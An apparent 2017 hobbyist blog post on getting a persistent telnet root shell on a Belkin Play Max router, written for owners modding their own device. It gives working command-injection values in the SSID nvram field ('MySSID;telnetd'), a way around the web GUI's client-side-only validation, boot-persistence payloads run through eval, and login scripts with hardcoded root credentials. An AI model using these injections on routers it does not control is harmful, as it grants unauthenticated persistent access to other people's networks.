lunedì 20 febbraio 2017

Belkin Play Max - Persistent Remote Command Execution (Telnet Enabler)

Author: BigNerd95 (Lorenzo Santina)

Some people buy dozens of phones, other ones dozens of bags (specially my girlfriend) and other ones (like me) dozens of routers.
Belkin Play Max was sold in two variants:
  • F7D4401 (wireless router with modem) link
  • F7D4301 (wireless router only) link

This was a cool router for 2010, it has gigabit lans, dualband wifi, guest AP and some other interesting features.
The missing powerful feature is Telnet server, without this, you can't do a lot of amazing things.

Custom firmware option

On the F7D4301 variant, you can install DD-WRT, but on the modem variant the only available custom firmware is OpenWrt.
I tried to install this version of OpenWrt but it is very unstable, wireless range is extremely poor and I was not satisfied at all.
So I decided to find a way to install a telnet server on the original firmware.

UART connection

Open the case by removing two screws at the bottom


Enable telnet from UART

During boot you can see a lot of message, there is one of this very interesting:

[...]
Hit enter to continue...
[...]


If you press enter during boot, the boot is paused and a shell prompt is launched, so you can enter commands.
Running "telnetd" command, will start a telnet server on port 23 without authentication.
Enter "exit" to continue the boot.
Now you can connect to the router from your pc using telnet and modify any settings you want, change iptables rules, overclock, etc..

Run telnetd at each boot

If you reboot your router, all this work will be canceled and I don't think is a good thing open each time the router to run telnet from uart.

Examine boot log

In UART log during boot you can see:

[...]
Setting SSID "MySSID"
main(1195) wl -i eth1 ssid MySSID
[...]


Run (using telnet or uart console):

# nvram show | grep MySSID
wl0_ssid=MySSID
wl_ssid=MySSID

This means that during boot, wl0_ssid or wl0_ssid are read from nvram and then the command "wl" is launched using the ssid got from nvram as last argument.

Inject SSID

So you can try to change the ssid in nvram with something like this:

# nvram set wl0_ssid="MySSID;telnetd"
# nvram set wl_ssid="MySSID;telnetd"
# nvram commit


This will make the resulting command:

wl -i eth1 ssid MySSID;telnetd

Now reboot your router and see the magic ;-)

Inject SSID without UART

I know many people don't like opening their router or they don't have serial to usb converter to connect in UART, so I like to make things available for anyone.

Injecting SSID from Web

If you try to edit the SSID directly from Web GUI, the char ";" will be rejected and you can't apply settings.
But this validation is only made on client side.

So if you find a way to modify the POST request (using a REST client for example) inserting the char ";" after validation, you can inject SSID without using a UART connection.
I made a python script to do this work.

(On the server side the only check is made on the string length, it must be max 32 char, so control the length of your ssid before injecting it, or you will corrupt the command injection. Once telnet is enabled, you can then rewrite nvram variable with a larger ssid)

Now you have a telnet server running at each boot without having opened your router! ;-)

Running script on usb

If you want run more than only a telnet server at boot, you can connect a usb drive containing a bash script and run it in ssid injection.
You have to modify nvram variable like so (modify the usb path with your own):

# nvram set wl_ssid="MySSID;(sleep 30;/bin/sh \"/mnt/shared/Drive(A1)/init.sh\")&"
# nvram set wl0_ssid="MySSID;(sleep 30;/bin/sh \"/mnt/shared/Drive(A1)/init.sh\")&"
# nvram commit


The sleep 30 is necessary because the usb is mounted later than the SSID is set (and our command injection is executed).

Using nvram to store scripts

If you don't want leave a usb attached all the time, you can use the nvram as internal (small) storage to save some script.
For example, to add a basic login for telnet, execute:

# echo -en "nvram get tl > /tmp/tl\nchmod 777 /tmp/tl\ntelnetd -l /tmp/tl\n" > /tmp/start
# nvram set st="$(cat /tmp/start)"
# echo -en '#!/bin/sh\nread -p "Login: " INUSER; read -p "Password: " INPASS\nif [ "$INUSER" = "root" ] && [ "$INPASS" = "belkin" ]; then echo "Welcome!"; sh; else echo "Login failed!"; fi\n' > /tmp/login
# nvram set tl="$(cat /tmp/login)"
# nvram set wl_ssid="MySSID;(eval \"\$(nvram get st)\")&"
# nvram set wl0_ssid="MySSID;(eval \"\$(nvram get st)\")&"
# nvram commit
# reboot


The "st" variable of nvram will be executed at each boot.
The "tl" variable is write to a file and is executed when a new client connects to telnet.

Miscellaneous


Overclock

To overclock you only need to change the value of nvram variable "clkfreq":

# nvram get clkfreq
453,226,113
# nvram set clkfreq="600,300,150"
# nvram commit
# reboot

This will overclock the cpu at 600 MHz, be careful...

Busybox

If you plan to leave a usb drive attached, you can consider installing busybox.
My router is mipsel so i downloaded busybox-mipsel.
The script launched at boot should be something like this (init.sh on usb):

mkdir /tmp/mod/
cp /mnt/shared/Drive\(A1\)/busybox-mipsel /tmp/mod/
chmod 555 /tmp/mod/busybox-mipsel
mkdir /tmp/mod/bin/
/tmp/mod/busybox-mipsel --install -s /tmp/mod/bin/

cp /mnt/shared/Drive\(A1\)/login.sh /tmp/mod/
chmod 555 /tmp/mod/login.sh

/tmp/mod/bin/telnetd -l /tmp/mod/login.sh -p 23


The script copy the busybox in /tmp folder, because the usb is fat32 formatted, and there are problems with execution permissions.

An example of login script for telnet (login.sh on usb):

#!/tmp/mod/bin/sh
export PATH="/tmp/mod/bin/:$PATH"
COUNTER=1
LOGGED=0
while [ $COUNTER -le 3 ]
do
        read -p "Login: " INUSER
        read -s -p "Password: " INPASS
        echo
        if [ "$INUSER" = "root" ] && [ "$INPASS" = "belkin" ]
        then
                LOGGED=1
                break
        else
                sleep 3
                echo -e "Login incorrect $COUNTER"
                let COUNTER+=1
        fi
done

if [ "$LOGGED" -eq 1 ]
then
        echo -e "\nWelcome to SamyGO!\n"
        export PS1='\u@Belkin:\W\$ '
        export HOME="/tmp/mod/"
        cd /tmp/mod/
        sh
else
        exit
fi